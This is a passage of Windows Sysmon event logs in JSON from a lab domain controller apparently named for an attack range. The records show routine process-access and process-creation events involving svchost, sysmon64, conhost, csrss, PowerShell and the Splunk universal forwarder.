indows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4333,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.865\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.865","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4334,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.865\r\nSourceProcessGUID: {90617006-413A-5F2D-0000-0010D50A0600}\r\nSourceProcessId: 3148\r\nSourceThreadId: 2512\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-413A-5F2D-0000-0010CB190600}\r\nTargetProcessId: 4256\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.865","SourceProcessGUID":"{90617006-413A-5F2D-0000-0010D50A0600}","SourceProcessId":"3148","SourceThreadId":"2512","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-413A-5F2D-0000-0010CB190600}","TargetProcessId":"4256","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":4335,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.883\r\nProcessGuid: {90617006-413A-5F2D-0000-0010B71A0600}\r\nProcessId: 1392\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nFileVersion: ?\r\nDescription: ?\r\nProduct: ?\r\nCompany: ?\r\nOriginalFileName: ?\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.883","ProcessGuid":"{90617006-413A-5F2D-0000-0010B71A0600}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","FileVersion":"?","Description":"?","Product":"?","Company":"?","OriginalFileName":"?","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4336,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.881\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-413A-5F2D-0000-0010B71A0600}\r\nTargetProcessId: 1392\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.881","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-413A-5F2D-0000-0010B71A0600}","TargetProcessId":"1392","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4337,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.881\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-413A-5F2D-0000-0010B71A0600}\r\nTargetProcessId: 1392\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.881","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-413A-5F2D-0000-0010B71A0600}","TargetProcessId":"1392","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4338,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.881\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.881","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4339,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.881\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.881","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4340,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.881\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.881","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4341,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.881\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 